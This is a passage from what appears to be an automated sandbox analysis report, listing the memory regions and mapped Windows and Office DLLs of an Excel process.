"c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 316 start_va = 0xad50000 end_va = 0xad50fff entry_point = 0xad50000 region_type = mapped_file name = "{9d8c497c-611a-4408-acad-eadee99a69bf}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{9D8C497C-611A-4408-ACAD-EADEE99A69BF}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{9d8c497c-611a-4408-acad-eadee99a69bf}.2.ver0x0000000000000001.db") Region: id = 317 start_va = 0xad60000 end_va = 0xad60fff entry_point = 0x0 region_type = private name = "private_0x000000000ad60000" filename = "" Region: id = 318 start_va = 0xad70000 end_va = 0xad70fff entry_point = 0x0 region_type = private name = "private_0x000000000ad70000" filename = "" Region: id = 319 start_va = 0xad80000 end_va = 0xad87fff entry_point = 0x0 region_type = private name = "private_0x000000000ad80000" filename = "" Region: id = 320 start_va = 0xad90000 end_va = 0xad90fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000ad90000" filename = "" Region: id = 321 start_va = 0xada0000 end_va = 0xadaffff entry_point = 0x0 region_type = private name = "private_0x000000000ada0000" filename = "" Region: id = 322 start_va = 0xadb0000 end_va = 0xaeaffff entry_point = 0x0 region_type = private name = "private_0x000000000adb0000" filename = "" Region: id = 323 start_va = 0xaeb0000 end_va = 0xafaffff entry_point = 0x0 region_type = private name = "private_0x000000000aeb0000" filename = "" Region: id = 324 start_va = 0xafb0000 end_va = 0xafb0fff entry_point = 0xafb0000 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\windows\\system32\\oleaccrc.dll") Region: id = 325 start_va = 0xafc0000 end_va = 0xafc1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000afc0000" filename = "" Region: id = 326 start_va = 0xafd0000 end_va = 0xafd0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000afd0000" filename = "" Region: id = 327 start_va = 0xb010000 end_va = 0xb10ffff entry_point = 0x0 region_type = private name = "private_0x000000000b010000" filename = "" Region: id = 328 start_va = 0xb110000 end_va = 0xb32cfff entry_point = 0xb110000 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 329 start_va = 0xb330000 end_va = 0xc2fffff entry_point = 0x0 region_type = private name = "private_0x000000000b330000" filename = "" Region: id = 330 start_va = 0xc300000 end_va = 0xc3aafff entry_point = 0xc300000 region_type = mapped_file name = "tahoma.ttf" filename = "\\Windows\\Fonts\\tahoma.ttf" (normalized: "c:\\windows\\fonts\\tahoma.ttf") Region: id = 331 start_va = 0xc3d0000 end_va = 0xc4cffff entry_point = 0x0 region_type = private name = "private_0x000000000c3d0000" filename = "" Region: id = 332 start_va = 0xc510000 end_va = 0xc58ffff entry_point = 0x0 region_type = private name = "private_0x000000000c510000" filename = "" Region: id = 333 start_va = 0xc590000 end_va = 0xc733fff entry_point = 0x0 region_type = private name = "private_0x000000000c590000" filename = "" Region: id = 334 start_va = 0xc740000 end_va = 0xc83ffff entry_point = 0x0 region_type = private name = "private_0x000000000c740000" filename = "" Region: id = 335 start_va = 0xc8a0000 end_va = 0xc99ffff entry_point = 0x0 region_type = private name = "private_0x000000000c8a0000" filename = "" Region: id = 336 start_va = 0xc9b0000 end_va = 0xca2ffff entry_point = 0x0 region_type = private name = "private_0x000000000c9b0000" filename = "" Region: id = 337 start_va = 0xcae0000 end_va = 0xcbdffff entry_point = 0x0 region_type = private name = "private_0x000000000cae0000" filename = "" Region: id = 338 start_va = 0xcbe0000 end_va = 0xcddffff entry_point = 0x0 region_type = private name = "private_0x000000000cbe0000" filename = "" Region: id = 339 start_va = 0x37a30000 end_va = 0x37a3ffff entry_point = 0x0 region_type = private name = "private_0x0000000037a30000" filename = "" Region: id = 340 start_va = 0x37c80000 end_va = 0x37c8ffff entry_point = 0x0 region_type = private name = "private_0x0000000037c80000" filename = "" Region: id = 341 start_va = 0x751b0000 end_va = 0x751e2fff entry_point = 0x751b0000 region_type = mapped_file name = "osppc.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppc.dll") Region: id = 342 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 343 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 344 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 345 start_va = 0x77e00000 end_va = 0x77e06fff entry_point = 0x77e00000 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 346 start_va = 0x77e10000 end_va = 0x77e12fff entry_point = 0x77e10000 region_type = mapped_file name = "normaliz.dll" filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll") Region: id = 347 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 348 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 349 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 350 start_va = 0x13f1d0000 end_va = 0x141e73fff entry_point = 0x13f1d0000 region_type = mapped_file name = "excel.exe" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excel.exe") Region: id = 351 start_va = 0x7febdd50000 end_va = 0x7febdd5ffff entry_point = 0x0 region_type = private name = "private_0x000007febdd50000" filename = "" Region: id = 352 start_va = 0x7febfb90000 end_va = 0x7febfb9ffff entry_point = 0x0 region_type = private name = "private_0x000007febfb90000" filename = "" Region: id = 353 start_va = 0x7fee6b00000 end_va = 0x7fee6b7afff entry_point = 0x7fee6b00000 region_type = mapped_file name = "structuredquery.dll" filename = "\\Windows\\System32\\StructuredQuery.dll" (normalized: "c:\\windows\\system32\\structuredquery.dll") Region: id = 354 start_va = 0x7fee6b80000 end_va = 0x7fee6baafff entry_point = 0x7fee6b80000 region_type = mapped_file name = "wxpnse.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\WXPNSE.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\wxpnse.dll") Region: id = 355 start_va = 0x7fee6bb0000 end_va = 0x7fee6bcbfff entry_point = 0x7fee6bb0000 region_type = mapped_file name = "davclnt.dll" filename = "\\Windows\\System32\\davclnt.dll" (normalized: "c:\\windows\\system32\\davclnt.dll") Region: id = 356 start_va = 0x7fee6bf0000 end_va = 0x7fee6bf9fff entry_point = 0x7fee6bf0000 region_type = mapped_file name = "davhlpr.dll" filename = "\\Windows\\System32\\davhlpr.dll" (normalized: "c:\\windows\\system32\\davhlpr.dll") Region: id = 357 start_va = 0x7fee6c00000 end_va = 0x7fee6c54fff entry_point = 0x7fee6c00000 region_type = mapped_file name = "msohevi.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\MSOHEVI.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msohevi.dll") Region: id = 358 start_va = 0x7fee6c60000 end_va = 0x7fee6c75fff entry_point = 0x7fee6c60000 region_type = mapped_file name = "msoxev.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSOXEV.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\msoxev.dll") Region: id = 359 start_va = 0x7fee7130000 end_va = 0x7fee75a8fff entry_point = 0x7fee7130000 region_type = mapped_file name = "gfx.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\GFX.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\gfx.dll") Region: id = 360 start_va = 0x7fee75b0000 end_va = 0x7fee764ffff entry_point = 0x7fee75b0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll") Region: id = 361 start_va = 0x7fee7650000 end_va = 0x7fee78a4fff entry_point = 0x7fee7650000 region_type = mapped_file name = "ivy.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\IVY.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ivy.dll") Region: id = 362 start_va = 0x7fee78b0000 end_va = 0x7fee8685fff entry_point = 0x7fee78b0000 region_type = mapped_file name = "chart.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\CHART.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\chart.dll") Region: id = 363 start_va = 0x7fee8690000 end_va = 0x7fee9614fff entry_point = 0x7fee8690000 region_type = mapped_file name = "oart.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\OART.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\oart.dll") Region: id = 364 start_va = 0x7fee9620000 end_va = 0x7fee98bafff entry_point = 0x7fee9620000 region_type = mapped_file name = "riched20.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\RICHED20.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\riched20.dll") Region: id = 365 start_va = 0x7fee99e0000 end_va = 0x7fee9af9fff entry_point = 0x7fee99e0000 region_type = mapped_file name = "adal.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\ADAL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\adal.dll") Region: id = 366 start_va = 0x7fee9b00000 end_va = 0x7fee9c7dfff entry_point = 0x7fee9b00000 region_type = mapped_file name = "dwrite.dll" filename = "\\Windows\\System32\\DWrite.dll" (normalized: "c:\\windows\\system32\\dwrite.dll") Region: id = 367 start_va = 0x7fee9c80000 end_va = 0x7fee9d18fff entry_point = 0x7fee9c80000 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 368 start_va = 0x7fee9d20000 end_va = 0x7fee9d8efff entry_point = 0x7fee9d20000 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 369 start_va = 0x7fee9d90000 end_va = 0x7fee9f2cfff entry_point = 0x7fee9d90000 region_type = mapped_file name = "msointl.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\msointl.dll") Region: id = 370 start_va = 0x7fee9f30000 end_va = 0x7fee9ff5fff entry_point = 0x7fee9f30000 region_type = mapped_file name = "d3d11.dll" filename = "\\Windows\\System32\\d3d11.dll" (normalized: "c:\\windows\\system32\\d3d11.dll") Region: id = 371 start_va = 0x7feea000000 end_va = 0x7feea1cffff entry_point = 0x7feea000000 region_type = mapped_file name = "d3d10warp.dll" filename = "\\Windows\\System32\\d3d10warp.dll" (normalized: "c:\\windows\\system32\\d3d10warp.dll") Region: id = 372 start_va = 0x7feea1d0000 end_va = 0x7feee5b6fff entry_point = 0x7feea1d0000 region_type = mapped_file name = "msores.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSORES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\msores.dll") Region: id = 373 start_va = 0x7feee5c0000 end_va = 0x7feef2b4fff entry_point = 0x7feee5c0000 region_type = mapped_file name = "mso99lres.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO99LRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso99lres.dll") Region: id = 374 start_va = 0x7feef2c0000 end_va = 0x7fef0cebfff entry_point = 0x7feef2c0000 region_type = mapped_file name = "mso.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso.dll") Region: id = 375 start_va = 0x7fef0cf0000 end_va = 0x7fef1996fff entry_point = 0x7fef0cf0000 region_type = mapped_file name = "mso98win32client.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso98win32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso98win32client.dll") Region: id = 376 start_va = 0x7fef19a0000 end_va = 0x7fef246efff entry_point = 0x7fef19a0000 region_type = mapped_file name = "mso40uiwin32client.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso40UIwin32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso40uiwin32client.dll") Region: id = 377 start_va = 0x7fef2470000 end_va = 0x7fef2b53fff entry_point = 0x7fef2470000 region_type = mapped_file name = "mso30win32client.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso30win32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso30win32client.dll") Region: id = 378 start_va = 0x7fef2b60000 end_va = 0x7fef3002fff entry_point = 0x7fef2b60000 region_type = mapped_file name = "mso20win32client.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso20win32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso20win32client.dll") Region: id = 379 start_va = 0x7fef3010000 end_va = 0x7fef30e6fff entry_point = 0x7fef3010000 region_type = mapped_file name = "searchfolder.dll" filename = "\\Windows\\System32\\SearchFolder.dll" (normalized: "c:\\windows\\system32\\searchfolder.dll") Region: id = 380 start_va = 0x7fef3130000 end_va = 0x7fef356cfff entry_point = 0x7fef3130000 region_type = mapped_file name = "mso40uires.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO40UIRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso40uires.dll") Region: id = 381 start_va = 0x7fef3570000 end_va = 0x7fef35aafff entry_point = 0x7fef3570000 region_type = mapped_file name = "mlang.dll" filename = "\\Windows\\System32\\mlang.dll" (normalized: "c:\\windows\\system32\\mlang.dll") Region: id = 382 start_va = 0x7fef35b0000 end_va = 0x7fef3691fff entry_point = 0x7fef35b0000 region_type = mapped_file name = "d2d1.dll" filename = "\\Windows\\System32\\d2d1.dll" (normalized: "c:\\windows\\system32\\d2d1.dll") Region: id = 383 start_va = 0x7fef36a0000 end_va = 0x7fef372afff entry_point = 0x7fef36a0000 region_type = mapped_file name = "mso50win32client.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso50win32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso50win32client.dll") Region: id = 384 start_va = 0x7fef3780000 end_va = 0x7fef37dbfff entry_point = 0x7fef3780000 region_type = mapped_file name = "msohev.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\MSOHEV.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msohev.dll") Region: id = 385 start_va = 0x7fef3ed0000 end_va = 0x7fef3f23fff entry_point = 0x7fef3ed0000 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\System32\\oleacc.dll" (normalized: "c:\\windows\\system32\\oleacc.dll") Region: id = 386 start_va = 0x7fef3f30000 end_va = 0x7fef4ae6fff entry_point = 0x7fef3f30000 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\System32\\ieframe.dll" (normalized: "c:\\windows\\system32\\ieframe.dll") Region: id = 387 start_va = 0x7fef4d40000 end_va = 0x7fef4d5bfff entry_point = 0x7fef4d40000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 388 start_va = 0x7fef4d60000 end_va = 0x7fef4dc1fff entry_point = 0x7fef4d60000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 389 start_va = 0x7fef54d0000 end_va = 0x7fef5540fff entry_point = 0x7fef54d0000 region_type = mapped_file name = "winspool.drv" filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv") Region: id = 390 start_va = 0x7fef5680000 end_va = 0x7fef5745fff entry_point = 0x7fef5680000 region_type = mapped_file name = "msftedit.dll" filename = "\\Windows\\System32\\msftedit.dll" (normalized: "c:\\windows\\system32\\msftedit.dll") Region: id = 391 start_va = 0x7fef59c0000 end_va = 0x7fef59cbfff entry_point = 0x7fef59c0000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 392 start_va = 0x7fef5ff0000 end_va = 0x7fef6063fff entry_point = 0x7fef5ff0000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 393 start_va = 0x7fef6570000 end_va = 0x7fef6580fff entry_point = 0x7fef6570000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 394 start_va = 0x7fef7190000 end_va = 0x7fef71f3fff entry_point = 0x7fef7190000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 395 start_va = 0x7fef7200000 end_va = 0x7fef7270fff entry_point = 0x7fef7200000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 396 start_va = 0x7fef8360000 end_va = 0x7fef8366fff entry_point = 0x7fef8360000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\System32\\msimg32.dll" (normalized: "c:\\windows\\system32\\msimg32.dll") Region: id = 397 start_va = 0x7fef8370000 end_va = 0x7fef8559fff entry_point = 0x7fef8370000 region_type = mapped_file name = "c2r64.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll") Region: id = 398 start_va = 0x7fef8560000 end_va = 0x7fef8799fff entry_point = 0x7fef8560000 region_type = mapped_file name = "appvisvsubsystems64.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll") Region: id = 399 start_va = 0x7fef8970000 end_va = 0x7fef89eefff entry_point = 0x7fef8970000 region_type = mapped_file name = "tiptsf.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll") Region: id = 400 start_va = 0x7fef89f0000 end_va = 0x7fef8a2afff entry_point = 0x7fef89f0000 region_type = mapped_file name = "msls31.dll" filename = "\\Windows\\System32\\msls31.dll" (normalized: "c:\\windows\\system32\\msls31.dll") Region: id = 401 start_va = 0x7fef8a90000 end_va = 0x7fef8aa8fff entry_point = 0x7fef8a90000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 402 start_va = 0x7fef8ab0000 end_va = 0x7fef8ac4fff entry_point = 0x7fef8ab0000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 403 start_va = 0x7fef8e40000 end_va = 0x7fef8e4bfff entry_point = 0x7fef8e40000 region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\System32\\linkinfo.dll" (normalized: "c:\\windows\\system32\\linkinfo.dll") Region: id = 404 start_va = 0x7fef8e50000 end_va = 0x7fef8e83fff entry_point = 0x7fef8e50000 region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\System32\\shdocvw.dll" (normalized: "c:\\windows\\system32\\shdocvw.dll") Region: id = 405 start_va = 0x7fef9300000 end_va = 0x7fef9310fff entry_point = 0x7fef9300000 region_type = mapped_file name = "msointl30.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\msointl30.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\msointl30.dll") Region: id = 406 start_va = 0x7fef9320000 end_va = 0x7fef933efff entry_point = 0x7fef9320000 region_type = mapped_file name = "thumbcache.dll" filename = "\\Windows\\System32\\thumbcache.dll" (normalized: "c:\\windows\\system32\\thumbcache.dll") Region: id = 407 start_va = 0x7fef93b0000 end_va = 0x7fef93b8fff entry_point = 0x7fef93b0000 region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll") Region: id = 408 start_va = 0x7fef9660000 end_va = 0x7fef9677fff entry_point = 0x7fef9660000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 409 start_va = 0x7fef9680000 end_va = 0x7fef9690fff entry_point = 0x7fef9680000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 410 start_va = 0x7fef96b0000 end_va = 0x7fef9702fff entry_point = 0x7fef96b0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 411 start_va = 0x7fef9810000 end_va = 0x7fef98b6fff entry_point = 0x7fef9810000 region_type = mapped_file name = "dxgi.dll" filename = "\\Windows\\System32\\dxgi.dll" (normalized: "c:\\windows\\system32\\dxgi.dll") Region: id = 412 start_va = 0x7fef98c0000 end_va = 0x7fef9914fff entry_point = 0x7fef98c0000 region_type = mapped_file name = "d3d10_1core.dll" filename = "\\Windows\\System32\\d3d10_1core.dll" (normalized: "c:\\windows\\system32\\d3d10_1core.dll") Region: id = 413 start_va = 0x7fef9920000 end_va = 0x7fef9953fff entry_point = 0x7fef9920000 region_type = mapped_file name = "d3d10_1.dll" filename = "\\Windows\\System32\\d3d10_1.dll" (normalized: "c:\\windows\\system32\\d3d10_1.dll") Region: id = 414 start_va = 0x7fef9b40000 end_va = 0x7fef9bbffff entry_point = 0x7fef9b40000 region_type = mapped_file name = "ntshrui.dll" filename = "\\Windows\\System32\\ntshrui.dll" (normalized: "c:\\windows\\system32\\ntshrui.dll") Region: id = 415 start_va = 0x7fef9bc0000 end_va = 0x7fef9bcefff entry_point = 0x7fef9bc0000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 416 start_va = 0x7fef9bd0000 end_va = 0x7fef9bdbfff entry_point = 0x7fef9bd0000 region_type = mapped_file name = "cscdll.dll" filename = "\\Windows\\System32\\cscdll.dll" (normalized: "c:\\windows\\system32\\cscdll.dll") Region: id = 417 start_va = 0x7fef9be0000 end_va = 0x7fef9c5dfff entry_point = 0x7fef9be0000 region_type = mapped_file name = "cscui.dll" filename = "\\Windows\\System32\\cscui.dll" (normalized: "c:\\windows\\system32\\cscui.dll") Region: id = 418 start_va = 0x7fef9c60000 end_va = 0x7fef9c94fff entry_point = 0x7fef9c60000 region_type = mapped_file name = "ehstorshell.dll" filename = "\\Windows\\System32\\EhStorShell.dll" (normalized: "c:\\windows\\system32\\ehstorshell.dll") Region: id = 419 start_va = 0x7fef9ca0000 end_va = 0x7fefa521fff entry_point = 0x7fef9ca0000 region_type = mapped_file name = "grooveintlresource.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\grooveintlresource.dll") Region: id = 420 start_va = 0x7fefa530000 end_va = 0x7fefa74cfff entry_point = 0x7fefa530000 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 421 start_va = 0x7fefa750000 end_va = 0x7fefaa65fff entry_point = 0x7fefa750000 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 422 start_va = 0x7fefaa80000 end_va = 0x7fefaa82fff entry_point = 0x7fefaa80000 region_type = mapped_file name = "api-ms-win-crt-utility-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-utility-l1-1-0.dll") Region: id = 423 start_va = 0x7fefaa90000 end_va = 0x7fefaa92fff entry_point = 0x7fefaa90000 region_type = mapped_file name = "api-ms-win-crt-environment-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-environment-l1-1-0.dll") Region: id = 424 start_va = 0x7fefaaa0000 end_va = 0x7fefaaa2fff entry_point = 0x7fefaaa0000 region_type = mapped_file name = "api-ms-win-crt-filesystem-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-filesystem-l1-1-0.dll") Region: id = 425 start_va = 0x7fefaab0000 end_va = 0x7fefaab2fff entry_point = 0x7fefaab0000 region_type = mapped_file name = "api-ms-win-crt-time-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-time-l1-1-0.dll") Region: id = 426 start_va = 0x7fefaac0000 end_va = 0x7fefaac4fff entry_point = 0x7fefaac0000 region_type = mapped_file name = "api-ms-win-crt-multibyte-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-multibyte-l1-1-0.dll") Region: id = 427 start_va = 0x7fefaad0000 end_va = 0x7fefaad4fff entry_point = 0x7fefaad0000 region_type = mapped_file name = "api-ms-win-crt-math-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-math-l1-1-0.dll") Region: id = 428 start_va = 0x7fefaae0000 end_va = 0x7fefaae2fff entry_point = 0x7fefaae0000 region_type = mapped_file name = "api-ms-win-crt-locale-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-locale-l1-1-0.dll") Region: id = 429 start_va = 0x7fefaaf0000 end_va = 0x7fefab8bfff entry_point = 0x7fefaaf0000 region_type = mapped_file name = "msvcp140.dll" filename = "\\Windows\\System32\\msvcp140.dll" (normalized: "c:\\windows\\system32\\msvcp140.dll") Region: id = 430 start_va = 